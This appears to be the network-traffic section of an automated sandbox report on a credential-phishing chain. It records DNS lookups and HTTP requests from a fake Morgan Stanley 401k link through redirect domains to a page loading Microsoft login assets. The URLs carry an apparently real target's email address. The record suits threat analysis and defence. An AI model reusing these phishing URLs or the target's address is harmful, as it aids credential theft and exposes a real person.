Jan 30, 2025 19:26:43.295392990 CET	192.168.2.4	1.1.1.1	0x67d0	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:43.295516968 CET	192.168.2.4	1.1.1.1	0x8544	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Jan 30, 2025 19:26:43.331134081 CET	192.168.2.4	1.1.1.1	0x37b0	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:43.331254005 CET	192.168.2.4	1.1.1.1	0x12fe	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Jan 30, 2025 19:26:45.356220007 CET	192.168.2.4	1.1.1.1	0xf0c6	Standard query (0)	782137365-1317754460.cos.ap-singapore.myqcloud.com	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:45.356551886 CET	192.168.2.4	1.1.1.1	0xc186	Standard query (0)	782137365-1317754460.cos.ap-singapore.myqcloud.com	65	IN (0x0001)	false
Jan 30, 2025 19:26:45.362535954 CET	192.168.2.4	1.1.1.1	0x47a7	Standard query (0)	782137365.federalhostingservices.com	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:45.362761021 CET	192.168.2.4	1.1.1.1	0xf95f	Standard query (0)	782137365.federalhostingservices.com	65	IN (0x0001)	false
Jan 30, 2025 19:26:46.876813889 CET	192.168.2.4	1.1.1.1	0xa569	Standard query (0)	782137365.federalhostingservices.com	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:46.876961946 CET	192.168.2.4	1.1.1.1	0xc894	Standard query (0)	782137365.federalhostingservices.com	65	IN (0x0001)	false
Jan 30, 2025 19:26:49.915782928 CET	192.168.2.4	1.1.1.1	0xf8eb	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:49.915932894 CET	192.168.2.4	1.1.1.1	0x6989	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Jan 30, 2025 19:26:50.848536015 CET	192.168.2.4	1.1.1.1	0x55a	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:50.848818064 CET	192.168.2.4	1.1.1.1	0x32ed	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 30, 2025 19:24:12.072551966 CET	1.1.1.1	192.168.2.4	0xcc84	No error (0)	876rfyguyt7ygty.401kstatementmorganstanley.workers.dev		104.21.78.236	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:12.072551966 CET	1.1.1.1	192.168.2.4	0xcc84	No error (0)	876rfyguyt7ygty.401kstatementmorganstanley.workers.dev		172.67.138.108	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:12.074490070 CET	1.1.1.1	192.168.2.4	0x8373	No error (0)	876rfyguyt7ygty.401kstatementmorganstanley.workers.dev			65	IN (0x0001)	false
Jan 30, 2025 19:24:13.118288994 CET	1.1.1.1	192.168.2.4	0xda97	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 30, 2025 19:24:13.118288994 CET	1.1.1.1	192.168.2.4	0xda97	No error (0)	crl.root-x1.letsencrypt.org.edgekey.net	e8652.dscx.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 30, 2025 19:24:13.118288994 CET	1.1.1.1	192.168.2.4	0xda97	No error (0)	e8652.dscx.akamaiedge.net		2.23.197.184	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:13.331576109 CET	1.1.1.1	192.168.2.4	0x532f	No error (0)	r56eqpki1r3pdt55n3rm.wearedhaka.com		162.241.114.35	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:13.812216997 CET	1.1.1.1	192.168.2.4	0x26a2	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:13.812216997 CET	1.1.1.1	192.168.2.4	0x26a2	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:14.041686058 CET	1.1.1.1	192.168.2.4	0x2f1f	No error (0)	office.docmanagementsystem.com			65	IN (0x0001)	false
Jan 30, 2025 19:24:14.191024065 CET	1.1.1.1	192.168.2.4	0x6162	No error (0)	office.docmanagementsystem.com		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:14.191024065 CET	1.1.1.1	192.168.2.4	0x6162	No error (0)	office.docmanagementsystem.com		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:14.191024065 CET	1.1.1.1	192.168.2.4	0x6162	No error (0)	office.docmanagementsystem.com		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:14.191024065 CET	1.1.1.1	192.168.2.4	0x6162	No error (0)	office.docmanagementsystem.com		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:14.191024065 CET	1.1.1.1	192.168.2.4	0x6162	No error (0)	office.docmanagementsystem.com		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:14.191024065 CET	1.1.1.1	192.168.2.4	0x6162	No error (0)	office.docmanagementsystem.com		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:14.191024065 CET	1.1.1.1	192.168.2.4	0x6162	No error (0)	office.docmanagementsystem.com		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:15.671171904 CET	1.1.1.1	192.168.2.4	0x5126	No error (0)	office.docmanagementsystem.com		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:15.671171904 CET	1.1.1.1	192.168.2.4	0x5126	No error (0)	office.docmanagementsystem.com		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:15.671171904 CET	1.1.1.1	192.168.2.4	0x5126	No error (0)	office.docmanagementsystem.com		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:15.671171904 CET	1.1.1.1	192.168.2.4	0x5126	No error (0)	office.docmanagementsystem.com		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:15.671171904 CET	1.1.1.1	192.168.2.4	0x5126	No error (0)	office.docmanagementsystem.com		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:15.671171904 CET	1.1.1.1	192.168.2.4	0x5126	No error (0)	office.docmanagementsystem.com		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:15.671171904 CET	1.1.1.1	192.168.2.4	0x5126	No error (0)	office.docmanagementsystem.com		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:15.831234932 CET	1.1.1.1	192.168.2.4	0x5d4f	No error (0)	office.docmanagementsystem.com			65	IN (0x0001)	false
Jan 30, 2025 19:24:16.377492905 CET	1.1.1.1	192.168.2.4	0xabfb	No error (0)	www.google.com		142.250.185.100	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:16.377526045 CET	1.1.1.1	192.168.2.4	0xcd53	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 30, 2025 19:24:16.562968969 CET	1.1.1.1	192.168.2.4	0xa04f	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:16.562968969 CET	1.1.1.1	192.168.2.4	0xa04f	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:16.563589096 CET	1.1.1.1	192.168.2.4	0x506e	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 30, 2025 19:24:18.221385956 CET	1.1.1.1	192.168.2.4	0x3e53	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:18.221385956 CET	1.1.1.1	192.168.2.4	0x3e53	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:18.221441984 CET	1.1.1.1	192.168.2.4	0xff42	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 30, 2025 19:24:18.263932943 CET	1.1.1.1	192.168.2.4	0x45de	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 30, 2025 19:24:18.263943911 CET	1.1.1.1	192.168.2.4	0x11a7	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:18.263943911 CET	1.1.1.1	192.168.2.4	0x11a7	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:21.090378046 CET	1.1.1.1	192.168.2.4	0x88ff	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:24.406286001 CET	1.1.1.1	192.168.2.4	0x6eed	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 30, 2025 19:26:24.406311989 CET	1.1.1.1	192.168.2.4	0x9121	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:24.406311989 CET	1.1.1.1	192.168.2.4	0x9121	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:26.029270887 CET	1.1.1.1	192.168.2.4	0x4a7f	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:26.029270887 CET	1.1.1.1	192.168.2.4	0x4a7f	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:26.029344082 CET	1.1.1.1	192.168.2.4	0xe90b	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 30, 2025 19:26:40.595132113 CET	1.1.1.1	192.168.2.4	0x83fa	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:40.595132113 CET	1.1.1.1	192.168.2.4	0x83fa	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:40.596225977 CET	1.1.1.1	192.168.2.4	0x72d6	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 30, 2025 19:26:40.602108955 CET	1.1.1.1	192.168.2.4	0x489f	No error (0)	office.docmanagementsystem.com			65	IN (0x0001)	false
Jan 30, 2025 19:26:40.752415895 CET	1.1.1.1	192.168.2.4	0x2f98	No error (0)	office.docmanagementsystem.com		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:40.752415895 CET	1.1.1.1	192.168.2.4	0x2f98	No error (0)	office.docmanagementsystem.com		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:40.752415895 CET	1.1.1.1	192.168.2.4	0x2f98	No error (0)	office.docmanagementsystem.com		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:40.752415895 CET	1.1.1.1	192.168.2.4	0x2f98	No error (0)	office.docmanagementsystem.com		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:40.752415895 CET	1.1.1.1	192.168.2.4	0x2f98	No error (0)	office.docmanagementsystem.com		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:40.752415895 CET	1.1.1.1	192.168.2.4	0x2f98	No error (0)	office.docmanagementsystem.com		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:40.752415895 CET	1.1.1.1	192.168.2.4	0x2f98	No error (0)	office.docmanagementsystem.com		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:42.494673967 CET	1.1.1.1	192.168.2.4	0x8c6	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:42.494673967 CET	1.1.1.1	192.168.2.4	0x8c6	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:42.494673967 CET	1.1.1.1	192.168.2.4	0x8c6	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:42.494673967 CET	1.1.1.1	192.168.2.4	0x8c6	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:42.494900942 CET	1.1.1.1	192.168.2.4	0x2d3c	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:42.494900942 CET	1.1.1.1	192.168.2.4	0x2d3c	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:42.495594978 CET	1.1.1.1	192.168.2.4	0xa14a	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:42.495594978 CET	1.1.1.1	192.168.2.4	0xa14a	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:42.496341944 CET	1.1.1.1	192.168.2.4	0xf04a	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jan 30, 2025 19:26:42.496992111 CET	1.1.1.1	192.168.2.4	0xfd43	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Jan 30, 2025 19:26:42.497138977 CET	1.1.1.1	192.168.2.4	0x8267	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:42.497138977 CET	1.1.1.1	192.168.2.4	0x8267	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:42.497282982 CET	1.1.1.1	192.168.2.4	0x9833	No error (0)	stackpath.bootstrapcdn.com			65	IN (0x0001)	false
Jan 30, 2025 19:26:42.883872986 CET	1.1.1.1	192.168.2.4	0x25c	No error (0)	782137365-1317754460.cos.ap-singapore.myqcloud.com	sgp.file.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 30, 2025 19:26:42.883872986 CET	1.1.1.1	192.168.2.4	0x25c	No error (0)	sgp.file.myqcloud.com		43.153.232.151	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:42.883872986 CET	1.1.1.1	192.168.2.4	0x25c	No error (0)	sgp.file.myqcloud.com		43.153.232.152	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:42.883872986 CET	1.1.1.1	192.168.2.4	0x25c	No error (0)	sgp.file.myqcloud.com		43.152.64.193	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:42.883872986 CET	1.1.1.1	192.168.2.4	0x25c	No error (0)	sgp.file.myqcloud.com		43.152.64.207	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:43.278312922 CET	1.1.1.1	192.168.2.4	0x3f75	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jan 30, 2025 19:26:43.278351068 CET	1.1.1.1	192.168.2.4	0xc2ca	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:43.278351068 CET	1.1.1.1	192.168.2.4	0xc2ca	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:43.301881075 CET	1.1.1.1	192.168.2.4	0xa35d	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:43.301881075 CET	1.1.1.1	192.168.2.4	0xa35d	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:43.301881075 CET	1.1.1.1	192.168.2.4	0xa35d	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:43.301881075 CET	1.1.1.1	192.168.2.4	0xa35d	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:43.302087069 CET	1.1.1.1	192.168.2.4	0x67d0	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:43.302087069 CET	1.1.1.1	192.168.2.4	0x67d0	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:43.302527905 CET	1.1.1.1	192.168.2.4	0x8544	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Jan 30, 2025 19:26:43.338452101 CET	1.1.1.1	192.168.2.4	0x37b0	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:43.338452101 CET	1.1.1.1	192.168.2.4	0x37b0	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:43.339422941 CET	1.1.1.1	192.168.2.4	0x12fe	No error (0)	stackpath.bootstrapcdn.com			65	IN (0x0001)	false
Jan 30, 2025 19:26:45.728027105 CET	1.1.1.1	192.168.2.4	0x47a7	No error (0)	782137365.federalhostingservices.com		69.49.246.64	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:45.836719036 CET	1.1.1.1	192.168.2.4	0xf0c6	No error (0)	782137365-1317754460.cos.ap-singapore.myqcloud.com	sgp.file.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 30, 2025 19:26:45.836719036 CET	1.1.1.1	192.168.2.4	0xf0c6	No error (0)	sgp.file.myqcloud.com		43.152.64.207	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:45.836719036 CET	1.1.1.1	192.168.2.4	0xf0c6	No error (0)	sgp.file.myqcloud.com		43.153.232.151	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:45.836719036 CET	1.1.1.1	192.168.2.4	0xf0c6	No error (0)	sgp.file.myqcloud.com		43.153.232.152	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:45.836719036 CET	1.1.1.1	192.168.2.4	0xf0c6	No error (0)	sgp.file.myqcloud.com		43.152.64.193	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:47.091295958 CET	1.1.1.1	192.168.2.4	0xa569	No error (0)	782137365.federalhostingservices.com		69.49.246.64	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:49.925045967 CET	1.1.1.1	192.168.2.4	0xf8eb	No error (0)	aadcdn.msftauth.net	www.tm.aadcdn.msftauth.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 30, 2025 19:26:49.925045967 CET	1.1.1.1	192.168.2.4	0xf8eb	No error (0)	www.tm.aadcdn.msftauth.akadns.net	aadcdn.msftauth.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 30, 2025 19:26:49.925045967 CET	1.1.1.1	192.168.2.4	0xf8eb	No error (0)	aadcdn.msftauth.edgekey.net	e329293.dscd.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 30, 2025 19:26:49.925045967 CET	1.1.1.1	192.168.2.4	0xf8eb	No error (0)	e329293.dscd.akamaiedge.net		2.23.209.34	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:49.925045967 CET	1.1.1.1	192.168.2.4	0xf8eb	No error (0)	e329293.dscd.akamaiedge.net		2.23.209.17	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:49.927309036 CET	1.1.1.1	192.168.2.4	0x6989	No error (0)	aadcdn.msftauth.net	www.tm.aadcdn.msftauth.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 30, 2025 19:26:49.927309036 CET	1.1.1.1	192.168.2.4	0x6989	No error (0)	www.tm.aadcdn.msftauth.akadns.net	aadcdn.msftauth.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 30, 2025 19:26:49.927309036 CET	1.1.1.1	192.168.2.4	0x6989	No error (0)	aadcdn.msftauth.edgekey.net	e329293.dscd.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 30, 2025 19:26:49.959984064 CET	1.1.1.1	192.168.2.4	0x5afd	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 30, 2025 19:26:49.959984064 CET	1.1.1.1	192.168.2.4	0x5afd	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:50.855417013 CET	1.1.1.1	192.168.2.4	0x55a	No error (0)	aadcdn.msftauth.net	www.tm.aadcdn.msftauth.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 30, 2025 19:26:50.855417013 CET	1.1.1.1	192.168.2.4	0x55a	No error (0)	www.tm.aadcdn.msftauth.trafficmanager.net	aadcdn.msftauth.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 30, 2025 19:26:50.855417013 CET	1.1.1.1	192.168.2.4	0x55a	No error (0)	aadcdn.msftauth.edgekey.net	e329293.dscd.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 30, 2025 19:26:50.855417013 CET	1.1.1.1	192.168.2.4	0x55a	No error (0)	e329293.dscd.akamaiedge.net		2.23.209.34	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:50.855417013 CET	1.1.1.1	192.168.2.4	0x55a	No error (0)	e329293.dscd.akamaiedge.net		2.23.209.17	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:50.856307983 CET	1.1.1.1	192.168.2.4	0x32ed	No error (0)	aadcdn.msftauth.net	www.tm.aadcdn.msftauth.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 30, 2025 19:26:50.856307983 CET	1.1.1.1	192.168.2.4	0x32ed	No error (0)	www.tm.aadcdn.msftauth.trafficmanager.net	aadcdn.msftauth.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 30, 2025 19:26:50.856307983 CET	1.1.1.1	192.168.2.4	0x32ed	No error (0)	aadcdn.msftauth.edgekey.net	e329293.dscd.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 30, 2025 19:26:51.028937101 CET	1.1.1.1	192.168.2.4	0x5afd	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 30, 2025 19:26:51.028937101 CET	1.1.1.1	192.168.2.4	0x5afd	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

876rfyguyt7ygty.401kstatementmorganstanley.workers.dev

r56eqpki1r3pdt55n3rm.wearedhaka.com

office.docmanagementsystem.com

https:

challenges.cloudflare.com

maxcdn.bootstrapcdn.com

code.jquery.com

stackpath.bootstrapcdn.com

cdnjs.cloudflare.com

782137365-1317754460.cos.ap-singapore.myqcloud.com

782137365.federalhostingservices.com

aadcdn.msftauth.net

a.nel.cloudflare.com

x1.i.lencr.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49746	2.23.197.184	80	6644	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 19:24:13.128067017 CET	115	OUT	GET / HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Microsoft-CryptoAPI/10.0 Host: x1.i.lencr.org
Jan 30, 2025 19:24:13.747241974 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Content-Type: application/pkix-cert Last-Modified: Fri, 04 Aug 2023 20:57:56 GMT ETag: "64cd6654-56f" Content-Disposition: attachment; filename="ISRG Root X1.der" Cache-Control: max-age=46870 Expires: Fri, 31 Jan 2025 07:25:23 GMT Date: Thu, 30 Jan 2025 18:24:13 GMT Content-Length: 1391 Connection: keep-alive Data Raw: 30 82 05 6b 30 82 03 53 a0 03 02 01 02 02 11 00 82 10 cf b0 d2 40 e3 59 44 63 e0 bb 63 82 8b 00 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 4f 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 29 30 27 06 03 55 04 0a 13 20 49 6e 74 65 72 6e 65 74 20 53 65 63 75 72 69 74 79 20 52 65 73 65 61 72 63 68 20 47 72 6f 75 70 31 15 30 13 06 03 55 04 03 13 0c 49 53 52 47 20 52 6f 6f 74 20 58 31 30 1e 17 0d 31 35 30 36 30 34 31 31 30 34 33 38 5a 17 0d 33 35 30 36 30 34 31 31 30 34 33 38 5a 30 4f 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 29 30 27 06 03 55 04 0a 13 20 49 6e 74 65 72 6e 65 74 20 53 65 63 75 72 69 74 79 20 52 65 73 65 61 72 63 68 20 47 72 6f 75 70 31 15 30 13 06 03 55 04 03 13 0c 49 53 52 47 20 52 6f 6f 74 20 58 31 30 82 02 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 02 0f 00 30 82 02 0a 02 82 02 01 00 ad e8 24 73 f4 14 37 f3 9b 9e 2b 57 28 1c 87 be dc b7 df 38 90 8c 6e 3c e6 57 a0 78 f7 75 c2 a2 fe f5 6a 6e f6 00 4f 28 db de 68 86 6c 44 93 b6 b1 63 fd 14 12 6b bf 1f d2 ea 31 9b 21 7e d1 33 [TRUNCATED] Data Ascii: 0k0S@YDcc0H0O10UUS1)0'U Internet Security Research Group10UISRG Root X10150604110438Z350604110438Z0O10UUS1)0'U Internet Security Research Group10UISRG Root X10"0H0$s7+W(8n<WxujnO(hlDck1!~3<Hy!KqiJffl~<p)"K~G\|H#S8Oo.IWt/8{p!u0<cOK~w.{JL%p)S$J?aQcq.o[\4ylv;by/&676urIAv5/(ldwnG7Y^hrA)>Y>&$ZL@F:Qn;}rxY>Qx/>{JKsP\|Ctt0[q600\H;}`)A\|;FHvvj=8d+(B"']ypN:'Qnd3COB0@0U0U00UyY{sXn0*HUX
Jan 30, 2025 19:24:13.747298002 CET	509	IN	Data Raw: a9 bc b2 a8 50 d0 0c b1 d8 1a 69 20 27 29 08 ac 61 75 5c 8a 6e f8 82 e5 69 2f d5 f6 56 4b b9 b8 73 10 59 d3 21 97 7e e7 4c 71 fb b2 d2 60 ad 39 a8 0b ea 17 21 56 85 f1 50 0e 59 eb ce e0 59 e9 ba c9 15 ef 86 9d 8f 84 80 f6 e4 e9 91 90 dc 17 9b 62 Data Ascii: Pi ')au\ni/VKsY!~Lq`9!VPYYbEf\|o;'}~"+"4[XT&3L-<W,N;1"ss993#L<U)"k;W:pMMl]+NEJ&rj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49747	162.241.114.35	80	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 19:24:13.343997955 CET	494	OUT	GET /vvinx/fpmQd19KeH/scotiana.bennett%40ferc.gov HTTP/1.1 Host: r56eqpki1r3pdt55n3rm.wearedhaka.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jan 30, 2025 19:24:13.861675024 CET	285	IN	HTTP/1.1 200 OK Date: Thu, 30 Jan 2025 18:24:13 GMT Server: Apache refresh: 0;url=https://office.docmanagementsystem.com/6l7q9?e=scotiana.bennett@ferc.gov Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
Jan 30, 2025 19:24:13.994118929 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jan 30, 2025 19:24:14.041358948 CET	458	OUT	GET /favicon.ico HTTP/1.1 Host: r56eqpki1r3pdt55n3rm.wearedhaka.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://r56eqpki1r3pdt55n3rm.wearedhaka.com/vvinx/fpmQd19KeH/scotiana.bennett%40ferc.gov Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
